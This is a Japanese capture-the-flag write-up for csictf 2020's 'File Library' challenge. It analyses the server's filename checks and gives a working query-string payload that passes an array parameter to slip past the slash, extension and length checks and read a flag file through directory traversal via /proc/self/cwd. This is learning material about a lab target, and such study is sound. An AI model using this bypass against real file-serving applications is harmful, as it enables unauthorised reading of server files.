CTFtime.org / csictf 2020 / File Library
This is my file library.
Idon't have a lot of files, but I hope you like the ones I have!
http://chall.csivit.com:30222/
Attachment: server.js
奇妙なサイトに飛ばされる。
/getFile?file=ok.js
のようにok.jsとa.cppの閲覧ができるようになっている。
ok.js
console.log('Welcome to my sample javascript program!'); // Let's checkout some funny issues in JS! [] == ![]; // -> true false == []; // -> true false == ![]; // -> true console.log("b" + "a" + +"a" + "a"); // -> baNaNa NaN === NaN; // -> false (![] + [])[+[]] + (![] + [])[+!+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]]; // -> 'fail' document.all instanceof Object; // -> true typeof document.all; // -> 'undefined' Number.MIN_VALUE > 0; // -> true [1, 2, 3] + [4, 5, 6]; // -> '1,2,34,5,6' console.log('View more: https://github.com/denysdovhan/wtfjs');
a.cpp
#include <stdlib.h> int main() { system("cat flag.txt"); }
ディレクトリトラバーサル
/getFile?file=ok.js
のようなURLを見せられたら、まずはディレクトリトラバーサルだろう。
a.cppにもあるようにflag.txtを探してみよう。
File type not allowed
と来た。なるほど?
そういえばファイルが与えられていることを忘れていた。
fileパラメタについて3段階のチェックが入っている
file.includes(' ') || file.includes('/')
がtrueならNGallowedFileType(file)
がfalseならNG- サイズが5文字以上なら5文字に丸められる
function allowedFileType(file) { const format = file.slice(file.indexOf('.') + 1); if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') { return true; } return false; }
色々試したけど全然分かんないぞ…ok.jsがヒントだと思うけれど…
解説見る
方針はあってたけど、高度な感じ。なるほどなぁ…サイズ確認を配列ですり抜けるのね…
/getFile?file[]=../../&file[]=../../&file[]=../../&file[]=../../&file[]=../../proc/self/cwd/flag.txt&file[]=.&file[]=js
がペイロード
jsでは配列で与えられるので、実質こんな感じ。
file = ['../../', '../../', '../../', '../../', '../../proc/self/cwd/flag.txt', '.', 'js']
file.includes(' ') || file.includes('/')
がtrueならNG- includeは配列なら1要素と比較されているので、'../../'!='/'なので大丈夫。
allowedFileType(file)
がfalseならNG- file.indexOf('.') = 5
- ちょうど、'.'だけの項が効いている。で、+1の要素が取ってこられるので、formatにはjsが入ることになって、trueが返る
- サイズが5文字以上なら5文字に丸められる
- ちょうど、5要素になることを狙って、拡張子チェックで使った、'.'と'js'を削除する
ってことでうまいこと言って、最終的には、../../,../../,../../,../../,../../proc/self/cwd/flag.txt
がファイル名となる。
なぜ、/proc/self/cwd/flag.txtを狙っているかというと、Man page of PROCを参照すると、/proc/self/cwdが動いてるプロセスのカレントワーキングディレクトリへのシンボリックリンクとなってるためである。
C++での参照先は相対パスであり、カレントワーキングディレクトリの配下を探すのはそれが理由。